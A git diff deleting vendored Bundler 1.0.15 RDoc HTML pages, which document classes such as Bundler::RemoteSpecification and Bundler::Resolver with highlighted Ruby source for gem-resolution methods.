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-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-match_platform">#match_platform</a></li>
-					
-				</ul>
-			</div>
-			
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-			<!-- Included Modules -->
-			
-			<div id="includes-section" class="section">
-				<h3 class="section-header">Included Modules</h3>
-				<ul class="link-list">
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-					<span class="search-toggle"><img src="../images/find.png"
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-					<legend>Quicksearch</legend>
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-		<div id="description">
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-		
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-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="match-platform-method" class="method-detail ">
-				<a name="method-i-match_platform"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">match_platform</span><span
-						class="method-args">(p)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="match-platform-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 222</span>
-222:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">match_platform</span>(<span class="ruby-identifier">p</span>)
-223:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">platform</span> <span class="ruby-keyword kw">or</span>
-224:       <span class="ruby-identifier">platform</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">p</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">platform</span> <span class="ruby-keyword kw">or</span>
-225:       <span class="ruby-identifier">generic</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">platform</span>)) <span class="ruby-operator">==</span> <span class="ruby-identifier">p</span>
-226:     <span class="ruby-keyword kw">end</span></pre>
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-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
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-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/PathError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/PathError.html
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/PathError.html
+++ /dev/null
@@ -1,330 +0,0 @@
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-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/ProductionError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/ProductionError.html
deleted file mode 100644
index a0e5e6cd..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/ProductionError.html
+++ /dev/null
@@ -1,330 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RemoteSpecification.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RemoteSpecification.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RemoteSpecification.html
+++ /dev/null
@@ -1,677 +0,0 @@
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-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::RemoteSpecification</h1>
-
-		<div id="description">
-			<p>
-Represents a lazily loaded gem specification, where the full specification
-is on the source server in rubygems&#8217; &#8220;quick&#8221; index. The
-proxy object is to be seeded with what we&#8217;re given from the
-source&#8217;s abbreviated index - the full specification will only be
-fetched when necesary.
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="name-attribute-method" class="method-detail">
-				<a name="name"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">name</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="version-attribute-method" class="method-detail">
-				<a name="version"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">version</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="platform-attribute-method" class="method-detail">
-				<a name="platform"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">platform</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="source-attribute-method" class="method-detail">
-				<a name="source"></a>
-				
-				<a name="source="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">source</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(name, version, platform, source_uri)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/remote_specification.rb, line 15</span>
-15:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">platform</span>, <span class="ruby-identifier">source_uri</span>)
-16:       <span class="ruby-ivar">@name</span>     = <span class="ruby-identifier">name</span>
-17:       <span class="ruby-ivar">@version</span>  = <span class="ruby-identifier">version</span>
-18:       <span class="ruby-ivar">@platform</span> = <span class="ruby-identifier">platform</span>
-19:       <span class="ruby-ivar">@source_uri</span> = <span class="ruby-identifier">source_uri</span>
-20:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="-swap--method" class="method-detail ">
-				<a name="method-i-__swap__"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">__swap__</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Because Rubyforge cannot be trusted to provide valid specifications once
-the remote gem is downloaded, the backend specification will be swapped
-out.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="-swap--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/remote_specification.rb, line 39</span>
-39:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">__swap__</span>(<span class="ruby-identifier">spec</span>)
-40:       <span class="ruby-ivar">@specification</span> = <span class="ruby-identifier">spec</span>
-41:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="fetch-platform-method" class="method-detail ">
-				<a name="method-i-fetch_platform"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">fetch_platform</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Needed before installs, since the arch matters then and quick specs
-don&#8217;t bother to include the arch in the platform string
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="fetch-platform-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/remote_specification.rb, line 24</span>
-24:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fetch_platform</span>
-25:       <span class="ruby-ivar">@platform</span> = <span class="ruby-identifier">_remote_specification</span>.<span class="ruby-identifier">platform</span>
-26:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="full-name-method" class="method-detail ">
-				<a name="method-i-full_name"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">full_name</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="full-name-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/remote_specification.rb, line 28</span>
-28:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">full_name</span>
-29:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">platform</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">platform</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-keyword kw">then</span>
-30:         <span class="ruby-node">&quot;#{@name}-#{@version}&quot;</span>
-31:       <span class="ruby-keyword kw">else</span>
-32:         <span class="ruby-node">&quot;#{@name}-#{@version}-#{platform}&quot;</span>
-33:       <span class="ruby-keyword kw">end</span>
-34:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="-remote-specification-method" class="method-detail ">
-				<a name="method-i-_remote_specification"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">_remote_specification</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="-remote-specification-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/remote_specification.rb, line 45</span>
-45:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">_remote_specification</span>
-46:       <span class="ruby-ivar">@specification</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-47:         <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SpecFetcher</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">fetch_spec</span>([<span class="ruby-ivar">@name</span>, <span class="ruby-ivar">@version</span>, <span class="ruby-ivar">@platform</span>], <span class="ruby-constant">URI</span>(<span class="ruby-ivar">@source_uri</span>.<span class="ruby-identifier">to_s</span>))
-48:       <span class="ruby-keyword kw">end</span>
-49:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="method-missing-method" class="method-detail ">
-				<a name="method-i-method_missing"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">method_missing</span><span
-						class="method-args">(method, *args, &blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="method-missing-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/remote_specification.rb, line 51</span>
-51:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">method_missing</span>(<span class="ruby-identifier">method</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">blk</span>)
-52:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-identifier">method</span>)
-53:         <span class="ruby-identifier">_remote_specification</span>.<span class="ruby-identifier">send</span>(<span class="ruby-identifier">method</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">blk</span>)
-54:       <span class="ruby-keyword kw">else</span>
-55:         <span class="ruby-keyword kw">super</span>
-56:       <span class="ruby-keyword kw">end</span>
-57:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Resolver.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Resolver.html
deleted file mode 100644
index c4dee7a6..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Resolver.html
+++ /dev/null
@@ -1,1171 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Resolver</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/resolver_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/resolver.rb">lib/bundler/resolver.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">CLASS</span> <a href="Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-c-resolve">::resolve</a></li>
-					
-					<li><a href="#method-i-clean_req">#clean_req</a></li>
-					
-					<li><a href="#method-i-debug">#debug</a></li>
-					
-					<li><a href="#method-i-error_message">#error_message</a></li>
-					
-					<li><a href="#method-i-gem_message">#gem_message</a></li>
-					
-					<li><a href="#method-i-gems_size">#gems_size</a></li>
-					
-					<li><a href="#method-i-resolve">#resolve</a></li>
-					
-					<li><a href="#method-i-resolve_requirement">#resolve_requirement</a></li>
-					
-					<li><a href="#method-i-search">#search</a></li>
-					
-					<li><a href="#method-i-start">#start</a></li>
-					
-					<li><a href="#method-i-successify">#successify</a></li>
-					
-					<li><a href="#method-i-version_conflict">#version_conflict</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="../Bundler/Installer.html">Bundler::Installer</a></li>
-				
-					<li><a href="../Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
-					<li><a href="../Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-				
-					<li><a href="../Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
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-			</div>
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-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::Resolver</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="ALL">ALL</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-			</dl>
-		</div>
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="errors-attribute-method" class="method-detail">
-				<a name="errors"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">errors</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(index, source_requirements, base)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 135</span>
-135:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">index</span>, <span class="ruby-identifier">source_requirements</span>, <span class="ruby-identifier">base</span>)
-136:       <span class="ruby-ivar">@errors</span>               = {}
-137:       <span class="ruby-ivar">@stack</span>                = []
-138:       <span class="ruby-ivar">@base</span>                 = <span class="ruby-identifier">base</span>
-139:       <span class="ruby-ivar">@index</span>                = <span class="ruby-identifier">index</span>
-140:       <span class="ruby-ivar">@gems_size</span>            = {}
-141:       <span class="ruby-ivar">@missing_gems</span>         = <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span>(<span class="ruby-value">0</span>)
-142:       <span class="ruby-ivar">@source_requirements</span>  = <span class="ruby-identifier">source_requirements</span>
-143:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="resolve-method" class="method-detail ">
-				<a name="method-c-resolve"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">resolve</span><span
-						class="method-args">(requirements, index, source_requirements = {}, base = [])</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Figures out the best possible configuration of gems that satisfies the list
-of passed dependencies and any child dependencies without causing any gem
-activation errors.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">*dependencies<Gem::Dependency></td><td><p>
-The list of dependencies to resolve
-</p>
-</td></tr>
-</table>
-<h4>Returns</h4>
-<table>
-<tr><td valign="top"><GemBundle>,nil</td><td><p>
-If the list of dependencies can be resolved, a
-</p>
-</td></tr>
-</table>
-<pre>
-  collection of gemspecs is returned. Otherwise, nil is returned.</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="resolve-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 124</span>
-124:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">resolve</span>(<span class="ruby-identifier">requirements</span>, <span class="ruby-identifier">index</span>, <span class="ruby-identifier">source_requirements</span> = {}, <span class="ruby-identifier">base</span> = [])
-125:       <span class="ruby-identifier">base</span> = <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">base</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">base</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">SpecSet</span>)
-126:       <span class="ruby-identifier">resolver</span> = <span class="ruby-identifier">new</span>(<span class="ruby-identifier">index</span>, <span class="ruby-identifier">source_requirements</span>, <span class="ruby-identifier">base</span>)
-127:       <span class="ruby-identifier">result</span> = <span class="ruby-identifier">catch</span>(<span class="ruby-value">:success</span>) <span class="ruby-keyword kw">do</span>
-128:         <span class="ruby-identifier">resolver</span>.<span class="ruby-identifier">start</span>(<span class="ruby-identifier">requirements</span>)
-129:         <span class="ruby-identifier">raise</span> <span class="ruby-identifier">resolver</span>.<span class="ruby-identifier">version_conflict</span>
-130:         <span class="ruby-keyword kw">nil</span>
-131:       <span class="ruby-keyword kw">end</span>
-132:       <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">result</span>)
-133:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="clean-req-method" class="method-detail ">
-				<a name="method-i-clean_req"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">clean_req</span><span
-						class="method-args">(req)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="clean-req-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 382</span>
-382:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">clean_req</span>(<span class="ruby-identifier">req</span>)
-383:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">req</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value str">&quot;&gt;= 0&quot;</span>)
-384:         <span class="ruby-identifier">req</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/ \(.*?\)$/</span>, <span class="ruby-value str">''</span>)
-385:       <span class="ruby-keyword kw">else</span>
-386:         <span class="ruby-identifier">req</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\, (runtime|development)\)$/</span>, <span class="ruby-value str">')'</span>)
-387:       <span class="ruby-keyword kw">end</span>
-388:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="debug-method" class="method-detail ">
-				<a name="method-i-debug"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">debug</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="debug-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 145</span>
-145:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">debug</span>
-146:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'DEBUG_RESOLVER'</span>]
-147:         <span class="ruby-identifier">debug_info</span> = <span class="ruby-keyword kw">yield</span>
-148:         <span class="ruby-identifier">debug_info</span> = <span class="ruby-identifier">debug_info</span>.<span class="ruby-identifier">inpsect</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">debug_info</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">String</span>)
-149:         <span class="ruby-identifier">$stderr</span>.<span class="ruby-identifier">puts</span> <span class="ruby-identifier">debug_info</span>
-150:       <span class="ruby-keyword kw">end</span>
-151:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="error-message-method" class="method-detail ">
-				<a name="method-i-error_message"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">error_message</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="error-message-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 409</span>
-409:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">error_message</span>
-410:       <span class="ruby-identifier">errors</span>.<span class="ruby-identifier">inject</span>(<span class="ruby-value str">&quot;&quot;</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">o</span>, (<span class="ruby-identifier">conflict</span>, (<span class="ruby-identifier">origin</span>, <span class="ruby-identifier">requirement</span>))<span class="ruby-operator">|</span>
-411: 
-412:         <span class="ruby-comment cmt"># origin is the SpecSet of specs from the Gemfile that is conflicted with</span>
-413:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">origin</span>
-414: 
-415:           <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">%{Bundler could not find compatible versions for gem &quot;#{origin.name}&quot;:\n}</span>
